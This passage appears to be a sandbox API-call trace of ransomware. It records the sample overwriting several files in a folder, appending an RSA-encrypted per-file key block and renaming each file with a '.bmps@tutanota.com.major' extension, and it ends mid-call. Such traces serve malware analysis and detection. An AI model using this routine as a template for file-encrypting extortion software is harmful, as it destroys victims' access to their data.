[0110.045] ReadFile (in: hFile=0x454, lpBuffer=0x2e4f020, nNumberOfBytesToRead=0x4f5113, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e4f020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4f5113, lpOverlapped=0x0) returned 1 [0110.419] SetFilePointer (in: hFile=0x454, lDistanceToMove=-5198099, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.419] WriteFile (in: hFile=0x454, lpBuffer=0x3357020*, nNumberOfBytesToWrite=0x4f5113, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3357020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4f5113, lpOverlapped=0x0) returned 1 [0110.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e4f020 | out: hHeap=0x570000) returned 1 [0110.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3357020 | out: hHeap=0x570000) returned 1 [0110.500] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4f5113 [0110.500] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.500] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.500] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0110.500] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0110.501] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0110.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0110.501] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="HWuyQiiA2c4H/+K9vCSj6m5uM9WtTLectAu0nSJB6HAxh1S2solT+oMCYA+eREeD\n18oz8hMOa1DpbWCh4acT+zysWnfJsEoP2nUCguHNqxL9dwWbVbyp9gEiJ4fA4c2l\nEND0FBETKkYRaNoj7v4TsHj19xTYjgqpuugsWkSnxDjwPlGggHLG2a74Blz+Z2Ud\nyVio8011AVlKFl3o51JjI2Aja0k8uhMm6JkyqwQ+HUGkNqjjmBjd4u+WvrcymzM5\nBDRzPv+Ybs++99V4M+r3JX7SIyqcJTdJMQ8TTdTRt04Tam2rp0ksOkkTYUWsyTrD\nwrpQ7XRSTjLfrpVX0OVkmA==\n", pcchString=0x2e3f9a8) returned 1 [0110.501] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0110.501] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.501] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.501] CloseHandle (hObject=0x454) returned 1 [0110.615] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0110.615] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0110.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0110.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0110.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0110.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0110.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0110.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0110.617] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0110.617] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\watermark.bmp", dwFileAttributes=0x80) returned 1 [0110.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be898 [0110.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0110.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0110.617] CreateFileW (lpFileName="\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0110.617] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=104072) returned 1 [0110.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x19688) returned 0x5cdfe8 [0110.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x19688) returned 0x5e7678 [0110.618] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x19688, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x19688, lpOverlapped=0x0) returned 1 [0110.740] SetFilePointer (in: hFile=0x454, lDistanceToMove=-104072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.740] WriteFile (in: hFile=0x454, lpBuffer=0x5e7678*, nNumberOfBytesToWrite=0x19688, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e7678*, lpNumberOfBytesWritten=0x2e3f9b4*=0x19688, lpOverlapped=0x0) returned 1 [0110.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0110.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e7678 | out: hHeap=0x570000) returned 1 [0110.743] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x19688 [0110.743] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.743] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0110.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0110.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0110.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0110.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="inL0CQbBS1ClQwylx5WpF3enEOsc3+R0FagAa+UITTo6kbMbgRj0mkXrF0Qo2ZDZ\nhjICVjNw2TJa8VLerww9jyHuF/hHih4ywTQsXGrACLNSsWofOB6DiTE7nX+3O3/R\niw9nUcL0knfQ8QOnJTbw+i9ucsiK4yFmRiS28PzEHdLgl9jNA9h7LykO9kTSfgZo\nTbFTlzfRPXTNZs910kEsxTYlsBhR3D55VVb/Kj4g1Ae5oLUN9843JjG/HZDJoFx8\nxYHZghnXtqLFj29BOmdAw9ZyhqKTB3tTwpSZbPWQKq6to4u3ItghExaq8NyLIRAo\nW3353bwnZqiQPLK1Uh+qQw==\n", pcchString=0x2e3f9a8) returned 1 [0110.744] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0110.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.744] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.744] CloseHandle (hObject=0x454) returned 1 [0110.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0110.746] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), lpNewFileName="\\588bce7c90097ed212\\watermark.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0110.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0110.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0110.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0110.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be2c0 | out: hHeap=0x570000) returned 1 [0110.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0110.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0110.748] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0110.748] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\UiInfo.xml", dwFileAttributes=0x80) returned 1 [0110.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c30 [0110.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0110.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c30 | out: hHeap=0x570000) returned 1 [0110.749] CreateFileW (lpFileName="\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0110.749] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=38898) returned 1 [0110.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x97f2) returned 0x5cdfe8 [0110.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x97f2) returned 0x5d77e8 [0110.749] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x97f2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x97f2, lpOverlapped=0x0) returned 1 [0110.769] SetFilePointer (in: hFile=0x454, lDistanceToMove=-38898, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.769] WriteFile (in: hFile=0x454, lpBuffer=0x5d77e8*, nNumberOfBytesToWrite=0x97f2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d77e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x97f2, lpOverlapped=0x0) returned 1 [0110.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0110.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d77e8 | out: hHeap=0x570000) returned 1 [0110.772] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x97f2 [0110.772] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.772] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.772] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0110.772] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0110.773] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0110.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0110.773] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="Rneuj0yGbid81Gfl3y4gqoK3eEBX78xviAykRrtIGpHgAh7phOEVQHfgjCm9ySo5\nNbGuH7M/qO5zYLXyfdkugVYJnv9w6yutaBQb1uZj8Tyxr1qL/2q9cUzX5DwbzfvJ\nx1FEsnmxcdS2srRW0RdEM16alte61p4s7OBnk25RkzpzGcJl/Ridm6d+T+iS8Nlw\n9EBZBOQRXC0Hura6uAaQg+p3qujbwbY+8dhgVLQnBMMLMjmbUHtbQX05REz/0Cea\nEvVRHkqADyatsf4/oUmwvlrUZouRTMNeVvgcUugwyMt0FQDMcJvJl3BbGypnkLEo\n2AprrLm+sqefvvC7fNSSnw==\n", pcchString=0x2e3f9a8) returned 1 [0110.773] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0110.773] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.773] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.773] CloseHandle (hObject=0x454) returned 1 [0110.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0110.774] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\UiInfo.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0110.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0110.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0110.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0110.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0110.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0110.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0110.776] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0110.776] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Strings.xml", dwFileAttributes=0x80) returned 1 [0110.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7960 [0110.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0110.777] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7960 | out: hHeap=0x570000) returned 1 [0110.777] CreateFileW (lpFileName="\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0110.777] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14084) returned 1 [0110.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3704) returned 0x5cdfe8 [0110.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3704) returned 0x5d16f8 [0110.777] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x3704, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x3704, lpOverlapped=0x0) returned 1 [0110.802] SetFilePointer (in: hFile=0x454, lDistanceToMove=-14084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.803] WriteFile (in: hFile=0x454, lpBuffer=0x5d16f8*, nNumberOfBytesToWrite=0x3704, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d16f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3704, lpOverlapped=0x0) returned 1 [0110.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0110.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d16f8 | out: hHeap=0x570000) returned 1 [0110.803] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3704 [0110.804] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.804] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.804] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0110.804] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0110.805] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0110.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0110.805] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="gsydtZP9LSUz8gxx8XJ2mIG4KXhif8nZMyJyM6xNg4BRyMA3ZBvkvPXJOvS8n0H8\nKYt492EpcLwwsbFLl4mqxojemtU+BIlzpG/PQncdAK8it1ev+V6m9NpWTAG51F/v\npXLtpAK79gHGTfquo1PoCpJAfaMmWOeUE7tUwNEGg9VDIi3OnxFnXhysMhveoFFG\nj5yFUYljyPepQkoWJ/3rp4zr+bplKWSFkDmewMBbN6vlQFC13tDF7KZKO7irLHTW\n46L16uZ717A1QQ9lON+LAwtQbPpUxwTzFSWg/FOaROOrILHBU0TkApK/xL4mTTZc\n34HjZLxQ5P3ljNE4YpLVRA==\n", pcchString=0x2e3f9a8) returned 1 [0110.805] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0110.805] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.805] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.805] CloseHandle (hObject=0x454) returned 1 [0110.806] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0110.806] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), lpNewFileName="\\588bce7c90097ed212\\Strings.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\strings.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0110.808] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0110.808] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0110.808] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0110.808] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79f0 | out: hHeap=0x570000) returned 1 [0110.808] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7be8 [0110.808] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0110.808] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0110.808] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\sqmapi.dll", dwFileAttributes=0x80) returned 1 [0110.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0110.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0110.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0110.809] CreateFileW (lpFileName="\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0110.809] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=144416) returned 1 [0110.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x23420) returned 0x5cdfe8 [0110.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x23420) returned 0x5f1410 [0110.810] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x23420, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x23420, lpOverlapped=0x0) returned 1 [0110.896] SetFilePointer (in: hFile=0x454, lDistanceToMove=-144416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.896] WriteFile (in: hFile=0x454, lpBuffer=0x5f1410*, nNumberOfBytesToWrite=0x23420, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f1410*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23420, lpOverlapped=0x0) returned 1 [0110.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0110.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f1410 | out: hHeap=0x570000) returned 1 [0110.899] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23420 [0110.899] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.899] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.899] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0110.899] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0110.901] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0110.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0110.901] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, 